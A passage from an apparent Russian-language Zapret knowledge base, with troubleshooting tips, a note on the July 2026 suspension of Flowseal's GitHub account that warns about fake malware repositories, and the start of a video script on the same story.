соединению все настроенные трюки (из `--dpi-desync`, `--hostcase` и т.д. в текущем профиле). Если сайта в списке нет, `nfqws` пропустит трафик к нему без изменений (в рамках этого профиля). По умолчанию, если в списке есть `example.com`, то и `mail.example.com`, и `www.example.com` тоже будут обрабатываться. Если вы хотите обрабатывать *только* `example.com` и не трогать его поддомены, напишите в файле `^example.com` (с символом `^` в начале). Запрет не сможет разблокировать сайт если он **заблокирован по айпи**. Для этого следует использовать разблокировку через hosts. Список доменов у которого нет второго (_других_) IP и следовательно не будут работать через Zapret: - https://animego.org (если айпишник `185.178.208.138`, но на некоторых провайдерах этот IP пингуется!) - https://mail.proton.me (если айпишник `3.66.189.153`, `3.73.85.131`, `185.70.42.37`) - https://www.instagram.com (если айпишник `157.240.205.174`) - https://static.cdninstagram.com (если айпишник `157.240.205.63`) Также проверьте что у вас выключен **ЛЮБОЙ VPN и прокси-сервер в Windows** - он также может ломать весь Запрет. ![Проверка отключения VPN и прокси в Windows](attachments/vpn-and-proxy-disabled.png) ## YouTube никак не хочет работать (все стратегии перепробовал) ![Окно браузерного расширения, мешающего YouTube](attachments/youtube-extension-interference.png) Для начала вам следует проверить свои расширения в браузере. Окно выше окно рассылает **SaveFrom** или **Юбуст**, которое может **мешать** работе Zapret. ЭТО ОКНО **НИКАК НЕ СВЯЗАНО С YOUTUBE** И НЕ ДОЛЖНО ПОЯВЛЯТЬСЯ НА САЙТЕ! **Отключайте расширения в браузерах перед тем как тестировать Zapret! (_не добавляйте в исключения расширения сайт Ютуба, а именно отключите!_)** Заместо SaveFrom.net рекомендуем использовать для скачивания видеороликов с Ютуба программу: https://github.com/yt-dlp/yt-dlp Не используйте расширения: - Savefrom - Юбуст - Adblock - Антизапрет - Adguard ## Discord Включённый AdGuard блокирует соединение со звуком у Discord при работе Zapret. ## О Яндекс Браузере и Яндекс ДНС > [!CAUTION] > [Яндекс DNS](https://t.me/bypassblock/134) перестали открывать Discord и другие заблокированные сайты. Не пользуйтесь ими. Рекомендуем сменить их на [**Google DNS**](https://developers.google.com/speed/public-dns) или [**Quad9 DNS**](https://quad9.net/service/service-addresses-and-features). ![Предупреждение о Яндекс DNS](attachments/yandex-dns-warning.png) Мы настоятельно **НЕ** рекомендуем использовать Яндекс Браузер! Он может нарушать работу Zapret. Например: - Подменять днс (меняется в настройках) - Просто блокировать ютуб через свои механизмы - Устанавливать свои расширения, которые мешают работе Ютуба ## У меня не работает mitmproxy Это известная проблема. Обе программы используют WinDivert. Отключите Zapret и mitmproxy будет работать вновь. --- --- date: 2026-07-10 tags: - zapret - flowseal - github - блокировки - новости aliases: - Flowseal заблокировали - Флоусил теневой бан - Flowseal GitHub бан - zapret-discord-youtube удалили с GitHub - Что случилось с Flowseal - flowseal zapret discord youtube block - запрет от болвана - bol-van кто это link: https://github.com/Flowseal/zapret-discord-youtube --- # 🚫 [Flowseal (флоусил) заблокировали на GitHub — теневой бан аккаунта Flowseal и репозитория zapret-discord-youtube (июль 2026)](https://www.youtube.com/watch?v=AR90YnDX77U) > [!info] О чём заметка > 10 июля 2026 аккаунт **Flowseal** (в рунете его часто пишут как «флоусил») — автора самой популярной сборки [[Zapret/about|Zapret]] для обхода блокировок YouTube и Discord — попал под теневой бан на GitHub: страница репозитория `Flowseal/zapret-discord-youtube` перестала открываться. Здесь собрано, что известно на текущий момент, комментарий самого Flowseal, где скачать сборку, пока аккаунт недоступен, и почему это **не** значит, что Zapret — вирус. *Flowseal забанили? Флоусил удалили с GitHub? Что случилось с Flowseal zapret-discord-youtube, почему не открывается репозиторий Flowseal, где скачать запрет Flowseal — разбор ситуации на 10 июля 2026.* ## Подробная информация доступна здесь https://www.youtube.com/watch?v=AR90YnDX77U ## TL;DR - 10 июля 2026 репозиторий `Flowseal/zapret-discord-youtube` перестал открываться — аккаунт Flowseal попал под ограничение GitHub. - По словам самого Flowseal: аккаунт **приостановили, а не забанили**, причину GitHub не объяснил; похожее уже случалось, и, по его оценке, доступ «скорее всего разблокируют в течение 1–2 недель». - Вероятная причина (по свидетельствам из чатов, официально не подтверждено): в тот же день GitHub массово приостановил аккаунты по тегам обхода блокировок — `tg-ws-proxy`, `discord-fix`, `youtube-blocked`, `unblock-youtube`, `unblock-discord`, `rkn-bypass`, `dpi-bypass`; эти теги массово использовали вирусные фейки, а у Flowseal был и репозиторий `tg-ws-proxy`. Это согласуется с его же словами про «автоматический детект на прокси». - Flowseal опубликовал официальные зеркала последних релизов на SourceForge (ссылки ниже) — качать оттуда, а не из случайных «перезаливов». - Пострадали и уже установленные копии: ссылки на репозиторий зашиты в `service.bat`, поэтому не работают автообновление и обновление списков подсетей ([[ipset]]); сам обход при этом продолжает работать локально, но со временем деградирует на устаревших листах. - Оригинальный репозиторий автора ядра bol-van остаётся доступным — сборка флоусил это форк со стратегиями поверх его `winws`, само ядро никуда не делось. - Главный риск сейчас — не сама приостановка, а волна фейковых «запасных репозиториев Flowseal» с малварью: такие сети клонов уже документированы в [[discord-cdn-fix-fake-repos-june-2026|разборе Bypass Ultimate / discord-cdn-fix]]. > [!warning] Откуда информация и насколько она достоверна > Заметка собрана по сообщениям Telegram-каналов и по прямым ответам Flowseal в его чате от 10 июля 2026 ([оригинал комментария](https://t.me/telemtrs/599/118313), скриншот — ниже в тексте). Официального заявления GitHub о причинах нет — сам Flowseal получил приостановку **«без объяснения»**. Всё, что касается причин и сроков разблокировки, — это оценки и предположения, а не подтверждённые факты; помечено по тексту. ## Что случилось Днём 10 июля 2026 пользователи заметили, что страница `github.com/Flowseal/zapret-discord-youtube` — самого популярного форка Zapret с готовыми стратегиями обхода блокировок YouTube и Discord — перестала открываться. Профиль Flowseal и все его репозитории стали недоступны, как при «теневом бане»: без публичной пометки о нарушении, страницы просто исчезли. Сам Flowseal в тот же день прокомментировал ситуацию в Telegram-чате (10 июля 2026, 13:04 МСК): > [!quote] Официальный комментарий Flowseal ([оригинал сообщения](https://t.me/telemtrs/599/118313)) > «Аккаунт приостановили (не забанили). Обычно из-за автоматического детекта такое происходит на прокси, уже проходили. Скорее всего разблокируют в течение 1–2 недель». На вопрос о формулировке причины: «без объяснения». Скриншот сообщения — на случай, если оригинал станет недоступен: ![[flowseal-comment-github-suspend-2026-07-10.png]] Ключевые слова здесь — **«приостановили, не забанили»**. GitHub различает окончательную блокировку за нарушение правил и автоматическую приостановку (suspend / flag), которую выставляет система антифрода и которую затем снимает ручная поддержка. По словам Flowseal, с его аккаунтом такое уже происходило раньше, и тогда доступ восстановили — поэтому его прогноз про 1–2 недели опирается на прошлый опыт, а не на ответ GitHub. > [!example] На пальцах > Представьте супермаркет с автоматической системой безопасности. Камера сочла поведение покупателя «подозрительным» — и его карту лояльности временно заморозили до разбирательства, не объясняя почему. Это неприятно и выглядит как бан, но это не «пожизненное отлучение от магазина»: живой сотрудник посмотрит запись и, если всё чисто, разморозит карту. Приостановка аккаунта GitHub автоматической модерацией — примерно то же самое; проблема в том, что «сотрудник» (ручная поддержка) может идти к записи неделями. ### Осторожно, фейк-новости: «Zapret ВСЁ» — это неправда На волне события крупные Telegram-каналы 10 июля 2026 массово выпустили однотипные панические посты — «Zapret ВСЁ», «Zapret запретили», «аккаунт удалили». Волна прошла как минимум по каналам @exploitex, «1337», @trendach, @techmedia — и это только заметные примеры. Типичный образец: > [!quote] Пост @exploitex (пример фейк-новости) > «⚡️ Zapret ВСЁ — популярный способ обхода блокировок для Discord, YouTube и Telegram снесли с GitHub. Доступ к аккаунту Flowseal полностью закрыт, а вместе с ним недоступны и все проекты. Страшно.» > [!quote] Пост «1337» (та же формула) > «⚡️Zapret ВСЁ — популярный способ обхода блокировок исчез с GitHub. Аккаунт Flowseal удалили, а вместе с ним пропали и связанные проекты…» Показательно, что часть каналов (@trendach, @techmedia) позже сами добавили UPD с уточнением от разработчика — «аккаунт приостановили, но не забанили, всё должно заработать в ближайшие недели» — но кричащий заголовок «Zapret — ВСЁ» при этом не поменяли, и разлетелась по репостам именно первая паническая версия. Почему это дезинформация, а не новость: - **«Zapret ВСЁ» — ложь дважды.** Во-первых, недоступна одна сборка одного сборщика, а не Zapret: оригинальные репозитории автора ядра bol-van живы, сборка [[Zapret GUI]] работает (см. раздел про экосистему ниже). Во-вторых, уже установленные копии сборки Flowseal продолжают обходить блокировки локально. - **«Снесли» и «полностью закрыт» подают временную меру как окончательную.** К моменту таких постов сам Flowseal уже публично объяснил: аккаунт **приостановлен, а не забанен**, подобное уже случалось, и он ожидает разблокировку в течение 1–2 недель. - **«Страшно» — это кликбейт-эмоция вместо фактов.** Реальный практический совет дня противоположный: не паниковать и не бежать качать «запасные сборки» из случайных мест — именно на панике зарабатывают вирусные фейки вроде [[flowseal-fake-youtube-salatstealer-july-2026|SalatStealer под видом Flowseal]]. > [!tip] Как читать такие новости > Формула паники: превосходная степень («ВСЁ», «полностью», «снесли») + эмоция («страшно») + ноль ссылок на первоисточник. Прежде чем репостить — ищите комментарий самого автора проекта: в данном случае он появился в течение часа и опровергал заголовок. ### Вероятная причина: зачистка по тегам обхода блокировок (tg-ws-proxy, discord-fix и другие) Во второй половине дня 10 июля 2026 в чатах появилась версия, которая хорошо объясняет происходящее: GitHub в этот день массово приостановил аккаунты с репозиториями по целому ряду тегов (topics), связанных с обходом блокировок. На 10 июля 2026 «улетевшими» называют как минимум семь тегов: - 🔗 https://github.com/topics/tg-ws-proxy — прокси для Telegram через WebSocket; - 🔗 https://github.com/topics/discord-fix — «починка Discord»; - 🔗 https://github.com/topics/youtube-blocked — «YouTube заблокирован»; - 🔗 https://github.com/topics/unblock-youtube — «разблокировать YouTube»; - 🔗 https://github.com/topics/unblock-discord — «разблокировать Discord»; - 🔗 https://github.com/topics/rkn-bypass — «обход РКН» (Роскомнадзора); - 🔗 https://github.com/topics/dpi-bypass — «обход DPI» (глубокой инспекции пакетов — самый общий тег всей темы). У Flowseal был собственный репозиторий `tg-ws-proxy` (его SourceForge-зеркало указано в разделе про скачивание ниже), а сборка `zapret-discord-youtube` по смыслу попадает и под «discord/youtube»-теги — так что под такую зачистку его аккаунт попадает автоматически, целиком. Почему автоматика вообще могла целиться в эти теги: именно их массово вешали на свои репозитории **вирусные фейки**. В июньском разборе [[discord-cdn-fix-fake-repos-june-2026|сети клонов Bypass Ultimate / discord-cdn-fix]] зафиксировано, что малварные репозитории использовали наборы тем `discord-fix`, `dpi-bypass`, `youtube-fix`, `telegram-fix` и накручивали звёзды ботами. Правдоподобный сценарий (предположение, не подтверждено GitHub): антиспам-система обучилась считать эти теги маркером вредоносных раздач и начала зачистку, под которую попали и легальные проекты, использующие те же теги. > [!warning] Насколько это подтверждено > Версия основана на свидетельствах участников чатов от 10 июля 2026 («GitHub всех по тегу tg-ws-proxy забанил»), а не на заявлении GitHub — то есть это правдоподобное, но не доказанное объяснение. В его пользу говорят два факта: сам Flowseal независимо назвал причиной «автоматический детект на прокси», и приостановка затронула весь аккаунт, а не конкретный репозиторий. Косвенно проверить можно по страницам тегов: если выдача по ним опустела или сильно поредела — зачистка действительно была массовой. Если версия верна, то легальная сборка обхода блокировок пострадала «за компанию» с вирусными подделками: автоматика GitHub целилась в малварные раздачи по характерным тегам, а приостановка аккаунта скрывает у владельца сразу все проекты. Получается горькая ирония: фейки, паразитировавшие на имени Zapret (вплоть до [[flowseal-fake-youtube-salatstealer-july-2026|стилера SalatStealer под видом Flowseal]]), могли «утопить» и настоящего сборщика. Ирония вдвойне: даже если зачистка целилась в малварь, свою цель она заметно промахнула. На вечер 10 июля 2026 поиск по тем же тегам спокойно выдаёт живые репозитории с типовыми признаками вирусных раздач: одноразовые аккаунты со сгенерированными именами (`GhoulOfficer`, `Arcticoumold`, `CordMizukageTerminal`), архив `.zip`/`.rar` в Releases вместо исходного кода, простыня из десятков keyword-тегов (`#discord-fix #dpi-bypass #no-vpn #rkn-bypass #russia-bypass`…) и 1–2 звезды: ![[flowseal-fake-clones-still-alive-2026-07.png]] Содержимое этих конкретных архивов в рамках заметки не анализировалось, но паттерн раздачи точь-в-точь совпадает с задокументированной [[discord-cdn-fix-fake-repos-june-2026|сетью вирусных клонов Bypass Ultimate / discord-cdn-fix]]. Итог дня: настоящий сборщик приостановлен, а конвейер подделок под теми же тегами продолжает работать. ## Последствия для уже установленных сборок: ссылки на репозиторий зашиты в код Приостановка ударила не только по тем, кто хотел скачать сборку, — частично «откисли» и **уже установленные** копии. Причина в том, что скрипты сборки Flowseal жёстко ссылаются на её GitHub-репозиторий: `service.bat` проверяет новую версию по `raw.githubusercontent.com/Flowseal/zapret-discord-youtube/...` и качает обновления со страницы releases того же репозитория: ![[flowseal-service-bat-github-urls-2026-07.png]] Пока репозиторий недоступен, у установленных сборок отваливается всё, что завязано на эти URL: - **Обновление списков заблокированных подсетей ([[ipset]])** — сборка тянула их из этого же репозитория (в changelog-ах Flowseal прямо написано: «список можно обновлять, берётся из этого репозитория»). Это самое чувствительное: подсети Discord и YouTube-серверов периодически меняются, и без обновления листов обход со временем деградирует — стратегии бьют по устаревшим адресам. - **Проверка версии и автообновление** — скрипт не может получить `version.txt` и скачать релиз. Сам по себе это не поломка: в коде видно, что при недоступности URL выводится предупреждение «failed to fetch the latest version. This warning does not affect the operation of zapret», и обход продолжает работать. > [!note] «Это конец»? Не совсем > Уже установленная сборка **продолжает обходить блокировки** с теми списками и стратегиями, что лежат на диске, — ядро `winws.exe` работает полностью локально и ни к какому серверу не обращается. «Умирает» не обход, а инфраструктура обновлений: свежие ipset-листы, новые стратегии и версии взять неоткуда, и чем дольше репозиторий в дауне, тем сильнее сборка отстаёт от реальной картины блокировок. Это архитектурный урок для всех сборщиков: единственный жёстко зашитый источник обновлений — единая точка отказа. ## Кто вообще разрабатывает Zapret: один автор и много сборщиков Чтобы оценить масштаб события (и понять, почему пропажа репозитория Flowseal — это не «смерть Zapret»), важно знать, как устроена экосистема проекта. Разработчик самой программы Zapret **только один — человек под ником bol-van**. Это его псевдоним на GitHub; настоящее имя автор публично не раскрывает, что для разработчиков инструментов обхода цензуры — нормальная практика безопасности. > [!note] «Запрет от болвана»?! — это не оскорбление, а никнейм > Ник `bol-van` читается по-русски как «болван», поэтому фразы вроде «качайте запрет от болвана» регулярно ставят новичков в тупик — звучит как издёвка. На самом деле это самоироничный псевдоним уважаемого разработчика, который много лет развивает главный опенсорсный инструмент обхода DPI в рунете. Так что «запрет от bol-van» = «оригинальный Zapret от автора», а не «какая-то поделка от дурака». У bol-van два репозитория: - 🔗 https://github.com/bol-van/zapret — первая версия («запрет 1»), больше не развивается; - 🔗 https://github.com/bol-van/zapret2 — актуальная вторая версия («запрет 2»); её устройство подробно разобрано в [[Zapret2/Zapret2|обзоре Zapret2]]. Zapret от bol-van — это «движок»: программы `nfqws` (Linux) и `winws.exe` (Windows), которые перехватывают и модифицируют сетевые пакеты для обхода DPI. Из коробки движок ничего не обходит — его нужно запустить с правильной **стратегией**, то есть набором аргументов командной строки, подобранным под блокировки конкретного провайдера. В документации bol-van есть мануал, как собирать такие стратегии самостоятельно, но **готовые сборки для обычных пользователей он делать отказался** — это принципиальная позиция автора. Эту нишу заняли **сборщики**: они берут открытое ядро bol-van и упаковывают его в готовые к запуску продукты — `.bat`-файлы с подобранными стратегиями, графические интерфейсы, инсталляторы. Два самых популярных сборщика: - **Flowseal** — сборка `zapret-discord-youtube`: ядро bol-van плюс готовые `.bat`-стратегии (о её судьбе и есть эта заметка); - **[[Zapret GUI]]** — сборка с графическим интерфейсом от youtubediscord; способы скачивания — в [[download|инструкции по официальным источникам]]. У открытости есть обратная сторона: собрать «свой запрет» может кто угодно, в том числе мошенники — отсюда множество вирусных сборок. К счастью, подделки обычно легко распознаются по чек-листу из [[virus|каталога вирусных сборок]]: открыт ли исходный код, один ли `winws.exe` в папке, не просят ли отключить антивирус. > [!example] На пальцах > bol-van — производитель двигателей: делает мотор и публикует инструкцию по его настройке, но готовые автомобили принципиально не выпускает. Flowseal и Zapret GUI — автозаводы, которые ставят этот мотор в машины уровня «сел и поехал». Если у одного автозавода закрылся салон (пропал GitHub-репозиторий), мотор и другие заводы никуда не делись. Но на волне ажиотажа появляются и «гаражные сборки» с сюрпризом под капотом — их и надо опасаться. ## Это не значит, что Zapret — вирус Сразу после пропажи репозитория предсказуемо пошли разговоры «вот видите, запрет — вирус, мы же говорили». Этот вывод не следует из произошедшего: - **Оба оригинальных репозитория bol-van остаются доступными** на GitHub (ссылки в разделе про экосистему выше). Сборка Flowseal — обёртка над его ядром `winws.exe`; если бы GitHub счёл сам Zapret вредоносным, в первую очередь снесли бы первоисточник, а не сборку. - Приостановки такого рода — массовое явление: автоматика GitHub регулярно временно замораживает аккаунты прокси- и анти-цензурных проектов, а потом поддержка их восстанавливает (сам Flowseal описывает ровно этот сценарий как уже пройденный). - Почему антивирусы вообще ругаются на Zapret и что такое ложные срабатывания на драйвер WinDivert — подробно разобрано в [[virus|заметке о «вирусности» Zapret]]. При этом честно зафиксировать: **точная причина приостановки официально не названа**. Наиболее правдоподобная версия на 10 июля 2026 — автоматическая зачистка прокси-репозиториев по тегу `tg-ws-proxy` (см. раздел «Вероятная причина» выше); версии «жалобы» и «взлом» выглядят слабее, но полностью не исключены. Не стоит ни разгонять панику про «GitHub начал войну с обходами», ни утверждать обратное — официальных фактов пока нет. ## Где скачать сборку, пока аккаунт приостановлен Flowseal лично опубликовал зеркала последних релизных версий на SourceForge: - 🔗 https://sourceforge.net/projects/zapret-discord-youtube.mirror/ — зеркало сборки zapret-discord-youtube; - 🔗 https://sourceforge.net/projects/tg-ws-proxy.mirror/ — зеркало tg-ws-proxy. Вот так выглядит **безопасный** источник сборки — страница зеркала на SourceForge: ![[flowseal-sourceforge-mirror-2026-07.png]] По каким признакам видно, что это не подделка (сравните с [[flowseal-fake-youtube-salatstealer-july-2026|вирусным фейком]], где всё наоборот): - **Официальная плашка зеркала**: SourceForge сам пишет «This is an exact mirror of the Zapret Discord YouTube project, hosted at github.com/Flowseal/zapret-discord-youtube» — то есть содержимое автоматически скопировано с оригинального репозитория, а не залито кем-то вручную. - **Раздаётся исходный код**, а не бинарник: `source code.zip` на 1,6 МБ — это открытые `.bat`-файлы и конфиги, которые можно прочитать глазами. У фейков вместо этого закрытый `.rar` на 4,5 МБ с неизвестным `.exe` внутри. - **Живая история версий**, совпадающая с релизами проекта: 1.9.8c → 1.9.9a → 1.9.9b → 1.9.9c → 1.9.9d с датами с 7 мая по 4 июля 2026. У фейков версии выдуманные (`FlowsealObhod1.8.x`) и истории нет. Альтернативы, не зависящие от аккаунта Flowseal: - оригинальное ядро от bol-van — `github.com/bol-van/zapret2` (подробнее о репозиториях автора — в разделе про экосистему выше); - сборка [[Zapret2/Zapret2|Zapret2]] от youtubediscord (`git.zapret.moe/zapretdiscordyoutube/zapret2-youtube-discord`) — [[Zapret/download|официальные способы скачивания описаны здесь]]; - официальные Telegram-каналы [[Zapret GUI]]: [t.me/bypassblock](https://t.me/bypassblock) (основной, установщик и новости), [t.me/zapretnetdiscordyoutube](https://t.me/zapretnetdiscordyoutube) (обновления), [t.me/zapretbypass_bot](https://t.me/zapretbypass_bot) (бот со сборкой), [t.me/runetvpnyoutubediscord](https://t.me/runetvpnyoutubediscord) (Android, macOS и другие системы). > [!danger] Главная опасность — фейковые «перезаливы Flowseal» > Как только популярный репозиторий пропадает, мошенники массово создают «запасные зеркала» с малварью в расчёте на тех, кто побежит искать сборку где попало. Сеть таких клонов с накрученными звёздами и пачкой неизвестных `.exe` уже разбиралась в июне 2026 — см. [[discord-cdn-fix-fake-repos-june-2026|Bypass Ultimate / discord-cdn-fix]] и общий [[virus|чек-лист проверки сборок на вирусы]]. Уже 10 июля 2026 задокументирован живой пример: [[flowseal-fake-youtube-salatstealer-july-2026|фейковый YouTube-канал «Flowseal» (@Dey-K) раздаёт стилер SalatStealer]] под видом сборки. Качайте только по ссылкам от самого Flowseal (SourceForge выше) или из [[Zapret/download|официальных источников]]. ## Прецеденты: подобное уже случалось - По словам самого Flowseal, его аккаунт уже попадал под похожую автоматическую приостановку, после чего доступ восстановили. - Команда youtubediscord (аккаунт `github.com/censorliber`) сообщала, что её первый аккаунт GitHub в своё время тоже снесли без объяснения причин — и в том случае компания разблокировать его отказалась. То есть счастливый исход не гарантирован: автоматическая приостановка может закончиться как восстановлением, так и потерей аккаунта. ### Чем закончилось и что было дальше Аккаунт Flowseal восстановили: на 11 августа 2026 страницы `github.com/Flowseal` и `github.com/bol-van` открываются нормально. А вот команде youtubediscord повезло меньше — 11 августа 2026 недоступны стали уже её страницы: организация `github.com/youtubediscord` (вместе со сборкой [[Zapret GUI]] и форками Telegram-клиента ZaStoGram), аккаунт `github.com/censorliber`, а также сторонние открытые проекты `goshkow/Zapret-Hub` и `neiroxgod/zapret-ui`. Раздачи с малварью под теми же названиями при этом остались на месте и продолжили набирать звёзды — разбор с проверяемыми числами: [[github-removes-clean-zapret-keeps-malware-august-2026|GitHub снёс чистые сборки Zapret, а вирусные оставил]]. Версия про зачистку по тегам за месяц тоже получила продолжение: перечисленные выше теги подчистили, но вирусные раздачи просто переехали на новые — `zapret-discord-youtube-2026`, `zapret-telegram`, `zapret-youtube`. Фильтр по слову обходится редактированием одного поля в настройках репозитория. ## 📚 См. также - [[github-removes-clean-zapret-keeps-malware-august-2026|🎭 GitHub снёс чистые сборки Zapret, а вирусные оставил (11 августа 2026)]] — продолжение истории: под удаление попала уже команда youtubediscord, а раздачи с малварью выжили - [[virus|👾 О вирусах в Zapret и ложных срабатываниях антивирусов]] — почему «репозиторий пропал» ≠ «это был вирус» - [[flowseal-fake-youtube-salatstealer-july-2026|🥗 Фейковый «Flowseal» на YouTube раздаёт SalatStealer]] — конкретный вирусный фейк, паразитирующий на имени Flowseal - [[discord-cdn-fix-fake-repos-june-2026|🪪 Сеть фейковых клонов Bypass Ultimate / discord-cdn-fix]] — как выглядят вредоносные «зеркала», которых сейчас станет больше - [[Zapret/download|Как скачать Zapret из официальных источников]] - [[Zapret2/Zapret2|Zapret2]] — независимая от аккаунта Flowseal сборка - 🔗 [Репозиторий Flowseal/zapret-discord-youtube](https://github.com/Flowseal/zapret-discord-youtube) — оригинальная страница (недоступна с 10 июля 2026, ссылка оживёт после восстановления) - 🔗 [Официальный комментарий Flowseal в Telegram от 10 июля 2026](https://t.me/telemtrs/599/118313) — первоисточник цитаты «приостановили, не забанили» - 🔗 Теги [tg-ws-proxy](https://github.com/topics/tg-ws-proxy), [discord-fix](https://github.com/topics/discord-fix), [youtube-blocked](https://github.com/topics/youtube-blocked), [unblock-youtube](https://github.com/topics/unblock-youtube), [unblock-discord](https://github.com/topics/unblock-discord), [rkn-bypass](https://github.com/topics/rkn-bypass) и [dpi-bypass](https://github.com/topics/dpi-bypass) на GitHub — страницы тегов, по которым, по неподтверждённой версии, прошла массовая зачистка аккаунтов --- > [!quote] 🤖 Эти статьи открыты — можно обучать на них ИИ > При желании вы можете натренировать ИИ на наших статьях. Исходное форматирование и скачивание всего репозитория одним zip-архивом доступны в Forgejo: [исходник этой заметки](https://git.zapret.moe/zapretdiscordyoutube/todo/src/branch/main/Zapret/flowseal-zapret-discord-youtube-block-july-2026.md) · [весь репозиторий](https://git.zapret.moe/zapretdiscordyoutube/todo/src/branch/main). --- # Сценарий видео: Flowseal снесли с GitHub Десятого июля с GitHub пропал аккаунт Flowseal. Это автор самой популярной сборки Запрета — той самой, через которую у половины страны работают YouTube и Discord. Заходишь на страницу — а там пусто. Ни репозитория, ни профиля, ни одного проекта. Новостные каналы тут же выдали «Zapret ВСЁ» и «Запрет запретили». Народ побежал искать, где теперь скачать сборку — и кто-то вместо неё скачал троян, который ворует пароли. Я разобралась, что там случилось на самом деле. Расскажу, почему это скорее всего не бан, кто разогнал панику, и покажу вирус, который прямо сейчас раздают под именем Flowseal. В конце — простой способ отличить настоящую сборку от подделки. Поехали. --- Итак, хронология. Десятое июля 2026 года, около часа дня по Москве. Страница репозитория Flowseal zapret-discord-youtube перестаёт открываться. Причём пропал не один проект — недоступен весь профиль разработчика, со всеми репозиториями сразу. Выглядело это как теневой бан: никакой публичной пометки «нарушил правила», никакого объяснения — страницы просто исчезли, как будто их никогда не было. Для понимания масштаба: сборка Flowseal — это самый популярный способ обхода замедления YouTube и блокировки Discord в России. Десятки тысяч звёзд на GitHub, миллионы пользователей. И вот всё это в один момент становится недоступным. Паника поднялась моментально. И начну я с новостей — с ними отдельная история. --- В течение пары часов крупные телеграм-каналы выпустили однотипные посты. Цитирую дословно: «Zapret ВСЁ — популярный способ обхода блокировок для Discord, YouTube и Telegram снесли с GitHub. Доступ к аккаунту Flowseal полностью закрыт, а вместе с ним недоступны и все проекты. Страшно». Конец цитаты. И таких постов было полно — «аккаунт удалили», «Запрет запретили», везде молнии, везде «ВСЁ». Так вот — это фейк. Недоступна одна сборка одного сборщика. Сам Запрет — программа, которая и делает обход — лежит в совершенно другом месте, у другого человека, и его никто не трогал. Да и, даже у тех, у кого сборка Flowseal уже установлена, обход продолжил работать — он вообще не зависит от GitHub в момент работы. --- Так что же сказал сам Flowseal? В час дня по Москве, в телеграм-чате, его спросили: можно короткий комментарий? А на вопрос, с какой формулировкой GitHub это сделал, он ответил двумя словами: «без объяснения». Тут важна разница. GitHub различает две вещи. Первая — окончательный бан за нарушение правил: это решение человека, и оно почти необратимо. Вторая — автоматическая приостановка, по-английски suspend. Её выставляет робот, система антифрода, без участия людей — а снимает потом живой сотрудник поддержки, когда до тикета дойдут руки. --- Теперь — почему это не «смерть Запрета». Тут надо один раз понять, как устроен проект. Половина пользователей этого не знает. Разработчик самой программы Zapret — один-единственный человек. Его ник — bol-van. И да, это читается как «болван». Я серьёзно. Когда новичку говорят «качай запрет от болвана», он думает, что над ним издеваются. Нет! Это самоироничный псевдоним уважаемого разработчика, который уже много лет делает главный опенсорсный инструмент обхода DPI в рунете. Настоящее имя он не раскрывает — и для людей, которые пишут инструменты обхода цензуры, это абсолютно нормальная практика безопасности. У bol-van два репозитория. Старый zapret — первая версия, она больше не развивается. И актуальный запрет 2 — вторая версия. И вот что важно: оба этих репозитория живы. Их никто не трогал, они спокойно лежат на GitHub. Первоисточник на месте. Но у bol-van есть принципиальная позиция. Он делает движок — программу winws, которая умеет на лету перехватывать и хитро модифицировать сетевые пакеты, чтобы системы анализа трафика у провайдера не узнавали запрещённый сайт. Из коробки этот движок ничего не обходит. Его нужно запустить с правильной стратегией — набором аргументов командной строки, подобранным под блокировки конкретно вашего провайдера. У автора есть подробный мануал, как эти стратегии собирать самому. А вот готовые сборки для обычных людей он делать отказался. Принципиально. И эту нишу заняли сборщики. Люди, которые берут открытый движок bol-van и упаковывают его в продукт «скачал и запустил»: готовые бат-файлы со стратегиями, графические интерфейсы, инсталляторы. Два самых популярных сборщика — это Flowseal с его zapret-discord-youtube и Zapret GUI с графическим интерфейсом. Но у открытости есть и тёмная сторона: собрать «свой запрет» может кто угодно. В том числе люди, которые кладут внутрь совсем не обход блокировок. И вот про это — дальше, потому что дальше начинается детектив. --- Теперь главный вопрос — за что? Официального ответа нет: GitHub молчит, Flowseal получил приостановку «без объяснения». Но к вечеру появилась версия, которая объясняет всё. Сразу скажу: это версия из чатов, GitHub её не подтверждал. Но она хорошо сходится. Похоже, GitHub в этот день провёл массовую зачистку аккаунтов по тегам. Теги — это метки-темы, которыми размечают репозитории, чтобы их находили в поиске. И «улетели» в этот день аккаунты по целому списку тегов, связанных с обходом блокировок. Смотрите на этот список: tg-ws-proxy — прокси для Телеграма. Discord-fix. Youtube-blocked. Unblock-youtube. Unblock-discord. Rkn-bypass — то есть буквально «обход Роскомнадзора». И dpi-bypass — самый общий тег всей темы. Семь тегов минимум. При чём тут Flowseal? А вот при чём: у него, кроме сборки Запрета, был отдельный репозиторий tg-ws-proxy — прокси для Телеграма через вебсокеты. Тот самый тип проекта, про который он сам сказал: «из-за автоматического детекта такое происходит на прокси». А когда система приостанавливает аккаунт за один репозиторий — скрывается сразу весь аккаунт, со всеми проектами. Вот и весь механизм: робот зацепил прокси — и утащил за компанию сборку Запрета, которая к прокси вообще никаким боком. А почему робот целился именно в эти теги? Вот тут самая обидная часть истории. Именно эти теги — discord-fix, dpi-bypass, youtube-fix — месяцами массово вешали на себя вирусные фейковые репозитории. Ещё в июне была задокументирована целая сеть клонов: десятки одинаковых репозиториев под одноразовыми аккаунтами, с накрученными ботами звёздами — у одних ровно по шестьдесят шесть, у других ровно по двадцать восемь, — и все обвешаны этими тегами как ёлка. Внутри — пачка неизвестных экзешников и ни строчки исходного кода. Судя по всему, антиспам-система GitHub в какой-то момент выучила простую ассоциацию: такие теги — маркер вредоносных раздач. И начала косить. А под косу попали и настоящие проекты с теми же тегами. Получается, подделки, которые паразитировали на имени Запрета, сами же и утопили настоящего сборщика. Мошенники загадили теги — робот забанил честных. --- И самое смешное: даже если зачистка целилась в вирусы — она промахнулась. Я проверила: вечером того же дня поиск по этим самым тегам спокойно выдаёт живые вирусные репозитории. У каждого — репозиторий с названием zapret-discord-youtube или zapret-discord-youtube-2026, один в один как у Flowseal. Внутри — ни строчки кода, только архив в релизах: зип или рар. Описание — простыня из двадцати хештегов: дискорд-фикс, дипиай-бипасс, но-впн, ркн-бипасс, раша-бипасс. И одна-две звезды. Это классический почерк вирусной раздачи, я покажу его на живом примере через минуту. Итог дня получился абсурдный: настоящий сборщик с миллионами пользователей — приостановлен. А конвейер подделок под теми же тегами — работает как ни в чём не бывало. --- А теперь обещанный живой пример. Самая наглая подделка из всех, что я видела. Она существует давно — но именно сейчас, когда толпы людей гуглят «где скачать запрет», она опаснее всего. На YouTube есть канал, который называется — внимание — «Flowseal». В описании написано: «Оффициальный ютуб-канал Flowseal Github». Четыре тысячи подписчиков, восемнадцать роликов с названиями вроде «Обход блокировки 